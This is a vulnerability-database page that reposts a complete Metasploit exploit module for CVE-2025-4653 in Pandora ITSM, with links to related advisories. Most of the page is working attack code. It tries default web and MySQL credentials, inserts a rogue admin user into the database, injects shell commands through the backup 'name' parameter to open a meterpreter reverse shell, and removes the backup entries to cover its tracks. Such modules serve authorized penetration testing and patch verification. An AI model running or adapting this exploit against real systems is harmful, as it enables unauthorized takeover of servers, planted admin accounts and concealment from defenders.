Lucene search
K

๐Ÿ“„ Pandora ITSM Authenticated Command Injection

๐Ÿ—“๏ธย 07 Aug 2025ย 00:00:00Reported byย h00die-gr3yTypeย 
packetstorm
ย packetstorm
๐Ÿ”—ย packetstorm.news๐Ÿ‘ย 113ย Views

Authenticated backup name command injection in Pandora ITSM enables RCE with admin access.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2025-4653
10 Jun 202517:41
โ€“circl
CNNVD
PandoraFMS ITSM ๅฎ‰ๅ…จๆผๆดž
10 Jun 202500:00
โ€“cnnvd
CVE
CVE-2025-4653
10 Jun 202515:53
โ€“cve
Cvelist
CVE-2025-4653 Remote Code Execution leads to Command Injection
10 Jun 202515:53
โ€“cvelist
EUVD
EUVD-2025-17710
10 Jun 202518:32
โ€“euvd
Metasploit
Pandora ITSM authenticated command injection leading to RCE via the backup function
7 Aug 202518:52
โ€“metasploit
NVD
CVE-2025-4653
10 Jun 202516:15
โ€“nvd
Positive Technologies
PT-2025-24699 ยท Unknown ยท Pandora Itsm
10 Jun 202500:00
โ€“ptsecurity
Rapid7 Blog
Metasploit Wrap-Up 08/08/25
8 Aug 202515:57
โ€“rapid7blog
RedhatCVE
CVE-2025-4653
12 Jun 202516:10
โ€“redhatcve
Rows per page
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'rex/proto/mysql/client'
    require 'digest/md5'
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include BCrypt
      include Msf::Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
    
      # @!attribute [rw] mysql_client
      # @return [::Rex::Proto::MySQL::Client]
      attr_accessor :mysql_client
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Pandora ITSM authenticated command injection leading to RCE via the backup function',
            'Description' => %q{
              Pandora ITSM is a platform for Service Management & Support including a Helpdesk for support
              and customer service teams, aligned with ITIL processes.
              This module exploits a command injection vulnerability in the `name` backup setting at the
              application setup page of Pandora ITSM. This can be triggered by generating a backup with a
              malicious payload injected at the `name` parameter.
              You need to have admin access at the Pandora ITSM  Web application in order to execute this RCE.
              This access can be achieved by knowing the admin credentials to access the web application or
              leveraging a default password vulnerability in Pandora ITSM that allows an attacker to access
              the Pandora FMS ITSM database, create a new admin user and gain administrative access to the
              Pandora ITSM Web application. This attack can be remotely executed over the WAN as long as the
              MySQL services are exposed to the outside world.
              This issue affects all ITSM Enterprise editions up to `5.0.105` and is patched at `5.0.106`.
            },
            'Author' => [
              'h00die-gr3y <h00die.gr3y[at]gmail.com>' # Discovery, Metasploit module & default password weakness
            ],
            'References' => [
              ['CVE', '2025-4653'],
              ['URL', 'https://pandorafms.com/en/security/common-vulnerabilities-and-exposures/'],
              ['URL', 'https://github.com/h00die-gr3y/h00die-gr3y/security/advisories/GHSA-m4f8-9c8x-8f3f'],
              ['URL', 'https://attackerkb.com/topics/wgCb1QQm1t/cve-2025-4653']
            ],
            'License' => MSF_LICENSE,
            'Platform' => ['unix', 'linux'],
            'Privileged' => false,
            'Arch' => [ARCH_CMD],
            'Targets' => [
              [
                'Unix/Linux Command',
                {
                  'Platform' => ['unix', 'linux'],
                  'Arch' => ARCH_CMD,
                  'Type' => :unix_cmd,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp'
                  },
                  'Payload' => {
                    'Encoder' => 'cmd/base64',
                    'BadChars' => "\x20\x3E\x26\x27\x22" # no space > & ' "
                  }
                }
              ]
            ],
            'DefaultTarget' => 0,
            'DisclosureDate' => '2025-06-10',
            'DefaultOptions' => {
              'SSL' => true,
              'RPORT' => 443
            },
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
              'Reliability' => [REPEATABLE_SESSION]
            }
          )
        )
        register_options([
          OptString.new('TARGETURI', [true, 'Path to the Pandora ITSM application', '/pandoraitsm']),
          OptString.new('DB_USER', [true, 'Pandora database admin user', 'pandoraitsm']),
          OptString.new('DB_PASSWORD', [true, 'Pandora database admin password', 'P4ndor4.itsm']),
          OptString.new('DB_NAME', [true, 'Pandora database', 'pandoraitsm']),
          OptPort.new('DB_PORT', [true, 'MySQL database port', 3306]),
          OptString.new('USERNAME', [false, 'Pandora web admin user', 'admin']),
          OptString.new('PASSWORD', [false, 'Pandora web admin password', 'integria'])
        ])
      end
    
      # MySQL login
      # @param [String] host
      # @param [String] user
      # @param [String] password
      # @param [String] db
      # @param [String] port
      # @return [TrueClass|FalseClass] true if login successful, else false
      def mysql_login(host, user, password, db, port)
        begin
          self.mysql_client = ::Rex::Proto::MySQL::Client.connect(host, user, password, db, port)
        rescue Errno::ECONNREFUSED
          print_error('MySQL connection refused')
          return false
        rescue ::Rex::Proto::MySQL::Client::ClientError
          print_error('MySQL connection timedout')
          return false
        rescue Errno::ETIMEDOUT
          print_error('Operation timedout')
          return false
        rescue ::Rex::Proto::MySQL::Client::HostNotPrivileged
          print_error('Unable to login from this host due to policy')
          return false
        rescue ::Rex::Proto::MySQL::Client::AccessDeniedError
          print_error('MySQL Access denied')
          return false
        rescue StandardError => e
          print_error("Unknown error: #{e.message}")
          return false
        end
        true
      end
    
      # MySQL query
      # @param [String] sql
      # @return [query|nil|FalseClass] if sql query successful (can be nil), else false
      def mysql_query(sql)
        begin
          res = mysql_client.query(sql)
        rescue ::Rex::Proto::MySQL::Client::Error => e
          print_error("MySQL Error: #{e.class} #{e}")
          return false
        rescue Rex::ConnectionTimeout => e
          print_error("Timeout: #{e.message}")
          return false
        rescue StandardError => e
          print_error("Unknown error: #{e.message}")
          return false
        end
        res
      end
    
      # login at the Pandora ITSM web application
      # @param [String] name
      # @param [String] pwd
      # @return [TrueClass|FalseClass] true if login successful, else false
      def pandoraitsm_login(name, pwd)
        res = send_request_cgi!({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'index.php'),
          'keep_cookies' => true,
          'vars_post' => {
            'login' => 1,
            'nick' => name,
            'pass' => pwd,
            'Login' => 'LOG IN'
          }
        })
        return false unless res&.code == 200
    
        res.body.include?('godmode')
      end
    
      # CVE-2025-4653: Command Injection leading to RCE via the backup "name" parameter triggered by the backup function
      def execute_payload(cmd)
        @rce_payload = ";#{cmd};#"
        vprint_status("RCE payload: #{@rce_payload}")
        @clean_payload = true
        send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'index.php'),
          'keep_cookies' => true,
          'vars_get' => {
            'sec' => 'godmode',
            'sec2' => 'enterprise/godmode/setup/backup_manager'
          },
          'vars_post' => {
            'name' => @rce_payload.to_s,
            'mode' => 1,
            'mail' => nil,
            'create_backup' => 1,
            'create' => 'Do a backup now'
          }
        })
      end
    
      # clean-up the payload entries in the backup list by removing the backup name from the list
      # it also handles multiple entries (leftovers from previous attacks)
      def clean_rce_payload(payload)
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'index.php'),
          'keep_cookies' => true,
          'vars_get' => {
            'sec' => 'godmode',
            'sec2' => 'enterprise/godmode/setup/integria_backup'
          }
        })
    
        unless res&.code == 200 && res.body.include?(payload.slice(0..4)) # just take the first 5 chars (;echo) as match
          vprint_status('No payload entries found at the backup list.')
          return
        end
    
        html = res.get_html_document
        target_rows = html.css('table.dataTable tbody tr').select do |row|
          name_backup = row.at_css('td')
          name_backup && name_backup.text.strip.include?(payload.slice(0..4))
        end
    
        # Get the backup entry based on the href from <a> tags with an onclick attribute
        if target_rows.any?
          backup_entry = target_rows.flat_map do |row|
            row.css('a[onclick]').map { |a| a['href'] }
          end
        else
          vprint_status('No payload entries found at the backup list.')
          return
        end
        vprint_status(backup_entry.to_s)
        success = true
        backup_entry.each do |entry|
          id_bk_param = entry.match(/id_bk=\d*/)
          next unless id_bk_param
    
          id_bk = id_bk_param[0].split('=')
          res = send_request_cgi({
            'method' => 'GET',
            'uri' => normalize_uri(target_uri.path, 'index.php'),
            'keep_cookies' => true,
            'vars_get' => {
              'sec' => 'godmode',
              'sec2' => 'enterprise/godmode/setup/integria_backup',
              'offset' => 0,
              'remove' => 1,
              id_bk[0].to_s => id_bk[1].to_s
            }
          })
          success = false unless res&.code == 200 && !res.body.include?(id_bk_param.to_s)
        end
        if success
          print_good('Payload entries successfully removed from backup list.')
        else
          print_warning('Payload entries might not be removed from backup list. Check and try to clean it manually.')
        end
      end
    
      # try to remove the payload from the backup list to cover our tracks
      def cleanup
        super
        # Disconnect from MySQL server
        mysql_client.close if mysql_client
        # check if payload should be cleaned
        clean_rce_payload(@rce_payload) if @clean_payload
      end
    
      def check
        # use API v1.0 to check version
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'include', 'api.php'),
          'vars_get' => {
            'info' => 'version'
          }
        })
        return CheckCode::Unknown('Received unknown response.') unless res&.code == 200
        return CheckCode::Safe('Target is not a Pandora ITSM application.') unless res.body.include?('Pandora ITSM')
    
        version = res.body.match(/\d{1,3}\.\d{1,3}\.\d{1,3}/)
        unless version.nil?
          version = Rex::Version.new(version)
          if version < Rex::Version.new('5.0.106')
            return CheckCode::Appears(res.body.strip.to_s)
          else
            return CheckCode::Safe(res.body.strip.to_s)
          end
        end
        CheckCode::Detected('Could not determine the Pandora ITSM version.')
      end
    
      def exploit
        # check if we can login at the Pandora Web application with the default admin credentials
        username = datastore['USERNAME']
        password = datastore['PASSWORD']
        print_status("Trying to log in with admin credentials #{username}:#{password} at the Pandora ITSM Web application.")
        unless pandoraitsm_login(username, password)
          # connect to the PostgreSQL DB with default credentials
          print_status('Logging in with admin credentials failed. Trying to connect to the Pandora MySQL server.')
          mysql_login_res = mysql_login(datastore['RHOSTS'], datastore['DB_USER'], datastore['DB_PASSWORD'], datastore['DB_NAME'], datastore['DB_PORT'])
          fail_with(Failure::Unreachable, "Unable to connect to the MySQL server on port #{datastore['DB_PORT']}.") unless mysql_login_res
    
          # add a new admin user
          username = Rex::Text.rand_text_alphanumeric(5..8).downcase
          password = Rex::Text.rand_password
    
          # check the password hash algorithm by reading the password hash of the admin user
          # new pandora versions hashes the password in bcrypt $2*$, Blowfish (Unix) format else it is a plain MD5 hash
          mysql_query_res = mysql_query("SELECT password FROM tusuario WHERE id_usuario = 'admin';")
          fail_with(Failure::BadConfig, 'Cannot find admin credentials to determine password hash algorithm.') if mysql_query_res == false || mysql_query_res.size != 1
          hash = mysql_query_res.fetch_hash
          if hash['password'].match(/^\$2.\$/)
            password_hash = Password.create(password)
          else
            password_hash = Digest::MD5.hexdigest(password)
          end
          print_status("Creating new admin user with credentials #{username}:#{password} for access at the Pandora ITSM Web application.")
          mysql_query_res = mysql_query("INSERT INTO tusuario (id_usuario, password, nivel) VALUES (\'#{username}\', \'#{password_hash}\', '1');")
          fail_with(Failure::BadConfig, "Adding new admin credentials #{username}:#{password} to the database failed.") if mysql_query_res == false
    
          # log in with the new admin user credentials at the Pandora ITSM Web application
          print_status("Trying to log in with new admin credentials #{username}:#{password} at the Pandora ITSM Web application.")
          fail_with(Failure::NoAccess, 'Failed to authenticate at the Pandora ITSM Web application.') unless pandoraitsm_login(username, password)
        end
        print_status('Successfully authenticated at the Pandora ITSM Web application.')
    
        # storing credentials at the msf database
        print_status('Saving admin credentials to the msf database.')
        store_valid_credential(user: username, private: password)
    
        print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
        execute_payload(payload.encoded)
      end
    end

Data

Build on a solid foundation withย Vulners data

Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data

Api

Power your application withย Vulners API

The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access

App

Assess and manage vulnerabilities withย Vulnersย tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Aug 2025 00:00Current
8.3High risk
Vulners AI Score8.3
CVSS 47
EPSS0.63871
SSVC
113